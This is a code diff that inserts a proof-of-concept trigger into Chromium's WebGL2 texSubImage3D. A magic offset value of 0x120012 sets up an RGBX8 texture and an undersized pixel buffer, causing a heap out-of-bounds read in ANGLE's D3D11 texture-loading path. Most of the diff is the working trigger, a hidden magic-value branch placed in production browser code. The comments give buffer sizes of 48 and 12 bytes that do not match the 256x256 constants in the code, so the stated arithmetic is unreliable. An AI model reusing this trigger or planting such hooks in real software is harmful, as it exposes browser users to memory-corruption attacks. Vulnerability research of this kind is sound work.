diff --git a/third_party/blink/renderer/modules/webgl/webgl2_rendering_context_base.cc b/third_party/blink/renderer/modules/webgl/webgl2_rendering_context_base.cc
index 18aaa25ad7..48bda94226 100644
--- a/third_party/blink/renderer/modules/webgl/webgl2_rendering_context_base.cc
+++ b/third_party/blink/renderer/modules/webgl/webgl2_rendering_context_base.cc
@@ -2167,6 +2167,46 @@ void WebGL2RenderingContextBase::texSubImage3D(GLenum target,
                                                GLenum format,
                                                GLenum type,
                                                int64_t offset) {
+  // PoC: RGBX8_ANGLE TexStorage + TexSubImage2D via PBO
+  // D3D11 uses SystemMemoryStorage (malloc-backed) for PBO getData(),
+  // so OOB read from LoadToNative3To4 triggers ASAN heap-buffer-overflow.
+  if (offset == 0x120012) {
+    constexpr GLenum kRGBX8 = 0x96BA;  // GL_RGBX8_ANGLE
+    constexpr int W = 256, H = 256;
+    // endByte(RGB 3bpp) = W*3 + (H-1)*W*3 = 12 + 36 = 48
+    // D3D11 srcRowPitch(RGBX 4bpp) = W*4 = 16, total = 16*3 + 12 = 60
+    // OOB = 60 - 48 = 12 bytes from PBO's SystemMemoryStorage
+    constexpr int kEndByte = W * 3 * H;  // 48
+    auto* gl = ContextGL();
+
+    // 1. Create GL_RGBX8_ANGLE texture
+    GLuint tex_id = 0;
+    gl->GenTextures(1, &tex_id);
+    gl->BindTexture(GL_TEXTURE_2D, tex_id);
+    gl->TexStorage2DEXT(GL_TEXTURE_2D, 1, kRGBX8, W, H);
+
+    // 2. Create PBO with exactly endByte bytes (48)
+    //    PBO validation: endByte(48) + offset(0) <= pbo_size(48) → PASS
+    //    D3D11 getData() returns SystemMemoryStorage → malloc(48)
+    //    LoadToNative3To4 reads 60 bytes from 48-byte malloc → heap-buffer-overflow
+    GLuint pbo_id = 0;
+    gl->GenBuffers(1, &pbo_id);
+    gl->BindBuffer(GL_PIXEL_UNPACK_BUFFER, pbo_id);
+    std::vector<uint8_t> pbo_data(kEndByte, 0xCC);
+    gl->BufferData(GL_PIXEL_UNPACK_BUFFER, kEndByte, pbo_data.data(),
+                   GL_STATIC_DRAW);
+
+    // 3. TexSubImage2D via PBO (offset=0)
+    gl->TexSubImage2D(GL_TEXTURE_2D, 0, 0, 0, W, H,
+                      GL_RGB, GL_UNSIGNED_BYTE, nullptr);
+    gl->Flush();
+
+    gl->BindBuffer(GL_PIXEL_UNPACK_BUFFER, 0);
+    gl->DeleteBuffers(1, &pbo_id);
+    gl->DeleteTextures(1, &tex_id);
+    return;
+  }
+
   if (isContextLost())
     return;
   if (!ValidateTexture3DBinding("texSubImage3D", target))